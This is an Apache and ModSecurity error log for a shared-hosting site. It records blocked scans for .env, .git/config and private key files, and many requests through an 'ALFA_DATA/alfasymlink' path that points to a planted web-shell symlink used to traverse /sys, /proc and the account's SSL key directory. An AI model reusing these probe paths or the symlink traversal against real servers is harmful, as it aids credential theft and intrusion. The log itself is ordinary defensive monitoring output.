[Sat Oct 24 21:29:08.824202 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at1bZCTLSCb4RJ-3cSWVxgAAAAE"]
[Sat Oct 24 21:29:08.991311 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at1bZCTLSCb4RJ-3cSWVxwAAAAE"]
[Sat Oct 24 21:29:08.991567 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at1bZCTLSCb4RJ-3cSWVxwAAAAE"]
[Sat Oct 24 21:29:08.991890 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at1bZCTLSCb4RJ-3cSWVxwAAAAE"]
[Sat Oct 24 21:29:22.120747 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 18.235.158.19:4164] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:29:34.134217 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 54.210.155.69:33089] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:02.0/graphics/fb0/device/subsystem/devices/0000:00:01.2/subsystem/drivers/virtio-pci/0000:00:04.0/driver/unbind
[Sat Oct 24 21:29:42.126052 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 98.83.94.113:9720] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:29:46.133962 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 98.84.60.17:57802] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:30:02.188563 2026] [ssl:error] [pid 2733464:tid 2733464] (5)Input/output error: [client 50.17.193.48:31810] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:30:10.249791 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 18.232.36.1:51811] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:30:14.154497 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 18.206.47.187:12603] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory1/node0/cpu0/subsystem/drivers_probe
[Sat Oct 24 21:30:18.171681 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 98.83.226.125:50169] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:30:26.148627 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 18.232.36.1:36164] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:30:34.144803 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 54.84.93.8:7025] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:30:38.170856 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 52.204.253.129:18742] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:30:42.287791 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 54.80.185.200:30742] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:30:42.287976 2026] [security2:error] [pid 2693034:tid 2693034] [client 54.80.185.200:30742] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/driver/cpu1/node0/memory18/node0/memory4/valid_zones"] [unique_id "at1bwlQTwXU83R4GW_mbLwAAACg"]
[Sat Oct 24 21:30:42.288146 2026] [security2:error] [pid 2693034:tid 2693034] [client 54.80.185.200:30742] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/driver/cpu1/node0/memory18/node0/memory4/valid_zones"] [unique_id "at1bwlQTwXU83R4GW_mbLwAAACg"]
[Sat Oct 24 21:30:50.132020 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 3.221.50.71:15764] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:30:54.146339 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 52.71.203.206:2183] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:31:06.256294 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 18.214.238.178:26515] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:31:18.130976 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 54.85.126.86:34376] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:31:22.148747 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 3.221.50.71:39402] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:31:26.128709 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 54.235.172.96:47269] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:31:34.130564 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 98.83.177.42:45548] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/wakeup/wakeup7/device/physical_node/0000:00:01.1/subsystem/devices/0000:00:05.0/driver/0000:00:04.0/firmware_node/subsystem/uevent
[Sat Oct 24 21:31:42.244949 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 35.173.18.61:57498] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:31:46.191926 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 44.193.102.198:37376] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:31:49.016462 2026] [security2:error] [pid 2692979:tid 2692979] [client 85.208.96.208:53858] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/clicshop/php71/extend.php"] [unique_id "at1cBPavbqLdB7btCU--PwAAABc"]
[Sat Oct 24 21:31:49.016523 2026] [security2:error] [pid 2692979:tid 2692979] [client 85.208.96.208:53858] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/clicshop/php71/extend.php"] [unique_id "at1cBPavbqLdB7btCU--PwAAABc"]
[Sat Oct 24 21:31:50.147211 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 44.218.6.93:26298] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:31:54.148046 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 34.196.6.199:60567] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/wakeup/wakeup7/device/physical_node/0000:00:01.1/subsystem/devices/0000:00:01.3/firmware_node/physical_node/i2c-0/subsystem/drivers_probe
[Sat Oct 24 21:32:18.141616 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 3.94.156.104:26654] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:32:22.153266 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 35.169.240.53:52201] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:32:34.115652 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 34.195.248.30:8291] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:32:34.115877 2026] [security2:error] [pid 2692918:tid 2692918] [client 34.195.248.30:8291] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/mice/subsystem/event0/subsystem/input1/input1::capslock/device/capabilities/rel"] [unique_id "at1cMrUNAjBk2uOT2T-HXQAAAAo"]
[Sat Oct 24 21:32:34.115905 2026] [security2:error] [pid 2692918:tid 2692918] [client 34.195.248.30:8291] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/mice/subsystem/event0/subsystem/input1/input1::capslock/device/capabilities/rel"] [unique_id "at1cMrUNAjBk2uOT2T-HXQAAAAo"]
[Sat Oct 24 21:32:39.668405 2026] [security2:error] [pid 2693034:tid 2693034] [client 185.191.171.12:60830] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/ac6ea_7d509_2806097b7cb7c0003eb62988010a952c.key"] [unique_id "at1cN1QTwXU83R4GW_mbMwAAACg"]
[Sat Oct 24 21:32:39.668798 2026] [security2:error] [pid 2693034:tid 2693034] [client 185.191.171.12:60830] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/ac6ea_7d509_2806097b7cb7c0003eb62988010a952c.key"] [unique_id "at1cN1QTwXU83R4GW_mbMwAAACg"]
[Sat Oct 24 21:32:39.669148 2026] [security2:error] [pid 2693034:tid 2693034] [client 185.191.171.12:60830] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/ac6ea_7d509_2806097b7cb7c0003eb62988010a952c.key"] [unique_id "at1cN1QTwXU83R4GW_mbMwAAACg"]
[Sat Oct 24 21:32:50.201425 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 18.215.112.101:1949] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:33:02.240383 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 35.170.205.140:26105] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:33:06.179497 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 54.156.124.2:21929] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:33:10.138879 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 44.223.116.149:44313] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:33:18.128026 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 52.4.238.8:8466] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:33:22.126228 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 3.209.174.110:31313] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/device:06/physical_node/firmware_node/physical_node/driver/0000:00:04.0/resource4
[Sat Oct 24 21:33:24.516893 2026] [core:error] [pid 2733464:tid 2733464] (13)Permission denied: [client 85.208.96.200:17460] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_io_end/cache_dma
[Sat Oct 24 21:33:24.972866 2026] [security2:error] [pid 2693020:tid 2693020] [client 130.12.180.167:35724] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at1cZDKiZtbKEGWJKoLWFwAAACE"]
[Sat Oct 24 21:33:24.973121 2026] [security2:error] [pid 2693020:tid 2693020] [client 130.12.180.167:35724] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at1cZDKiZtbKEGWJKoLWFwAAACE"]
[Sat Oct 24 21:33:24.973603 2026] [security2:error] [pid 2693020:tid 2693020] [client 130.12.180.167:35724] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at1cZDKiZtbKEGWJKoLWFwAAACE"]
[Sat Oct 24 21:33:30.135035 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 34.231.77.232:17360] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:33:32.781709 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 185.191.171.2:26404] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inotify_inode_mark/slabs_cpu_partial
[Sat Oct 24 21:33:38.137608 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 52.54.157.23:18512] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:33:46.141335 2026] [ssl:error] [pid 2731598:tid 2731598] (5)Input/output error: [client 18.209.201.119:7311] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:33:54.110462 2026] [core:error] [pid 2731612:tid 2731612] (13)Permission denied: [client 3.223.181.32:56578] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0A03:00/physical_node/firmware_node/device:15/subsystem/drivers_probe
[Sat Oct 24 21:33:58.175474 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 18.215.112.101:18159] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:34:02.119220 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 3.210.223.61:31486] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:34:18.326479 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 100.28.57.133:19514] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:0b/subsystem/devices/QEMU0002:00/subsystem/drivers/button/unbind
[Sat Oct 24 21:34:22.235314 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 34.204.150.196:21202] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:34:30.163877 2026] [ssl:error] [pid 2684583:tid 2684583] (5)Input/output error: [client 3.226.34.98:55161] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:34:38.230829 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 52.200.54.136:35655] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:34:42.123617 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 34.203.111.15:43133] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:34:43.051000 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 185.191.171.11:19438] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-16/objects_partial
[Sat Oct 24 21:34:45.431890 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 85.208.96.195:12360] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:34:45.432098 2026] [security2:error] [pid 2692918:tid 2692918] [client 85.208.96.195:12360] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/dev/char/7:130/uevent"] [unique_id "at1ctbUNAjBk2uOT2T-HYgAAAAo"]
[Sat Oct 24 21:34:45.432135 2026] [security2:error] [pid 2692918:tid 2692918] [client 85.208.96.195:12360] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/dev/char/7:130/uevent"] [unique_id "at1ctbUNAjBk2uOT2T-HYgAAAAo"]
[Sat Oct 24 21:34:46.138714 2026] [core:error] [pid 2731612:tid 2731612] (13)Permission denied: [client 44.221.37.41:45345] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:01.1/subsystem/drivers/virtio-pci/0000:00:03.0/resource1
[Sat Oct 24 21:34:50.230846 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 52.70.209.13:64341] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:35:07.894115 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 185.191.171.9:24022] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dax_cache/hwcache_align
[Sat Oct 24 21:35:14.134417 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 34.236.185.101:43154] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:35:17.274032 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 16.216.88.56:16384] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sbin/lfd
[Sat Oct 24 21:35:22.114483 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 18.233.24.238:6562] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:35:26.221305 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 52.22.87.224:47196] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:35:30.229236 2026] [core:error] [pid 2731598:tid 2731598] (13)Permission denied: [client 18.210.58.238:2121] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/tty37/subsystem/ttyS3/uartclk
[Sat Oct 24 21:35:42.110221 2026] [ssl:error] [pid 2731612:tid 2731612] (22)Invalid argument: [client 54.80.185.200:59235] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:35:45.645212 2026] [security2:error] [pid 2693034:tid 2693034] [client 101.33.237.108:41046] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.parkeranders.com"] [uri "/"] [unique_id "at1c8VQTwXU83R4GW_mbOgAAACg"]
[Sat Oct 24 21:35:58.157659 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 18.207.79.144:38266] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:36:06.891244 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 185.191.171.6:58682] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_1k/validate
[Sat Oct 24 21:36:18.138616 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 52.45.29.57:62153] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:36:30.111553 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 184.73.68.20:13021] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:36:34.225688 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 3.90.73.206:17431] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:36:38.122019 2026] [ssl:error] [pid 2692918:tid 2692918] (5)Input/output error: [client 52.4.238.8:10584] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:36:46.221558 2026] [core:error] [pid 2733464:tid 2733464] (13)Permission denied: [client 52.22.64.232:5994] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/kernel/slab/dmaengine-unmap-16/hwcache_align
[Sat Oct 24 21:36:54.140385 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 18.213.27.222:5849] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/drivers/button/LNXPWRBN:00/driver/bind
[Sat Oct 24 21:37:04.097005 2026] [security2:error] [pid 2707149:tid 2707149] [client 184.195.185.207:38600] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "at1dQDr66i8lbh-yPykEcAAAAAA"]
[Sat Oct 24 21:37:04.097302 2026] [security2:error] [pid 2707149:tid 2707149] [client 184.195.185.207:38600] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "at1dQDr66i8lbh-yPykEcAAAAAA"]
[Sat Oct 24 21:37:04.097727 2026] [security2:error] [pid 2707149:tid 2707149] [client 184.195.185.207:38600] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "at1dQDr66i8lbh-yPykEcAAAAAA"]
[Sat Oct 24 21:37:10.371345 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 35.169.240.53:46814] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:37:18.127081 2026] [core:error] [pid 2733464:tid 2733464] (13)Permission denied: [client 35.169.119.108:55256] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/ttyS1/xmit_fifo_size
[Sat Oct 24 21:37:22.124423 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 52.70.123.241:36245] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:37:30.132268 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 3.210.114.189:16940] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:37:38.484388 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 85.208.96.205:38562] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/iint_cache/slabs
[Sat Oct 24 21:37:42.161300 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 44.195.50.71:9429] AH02013: coalesce failed to read from data bucket
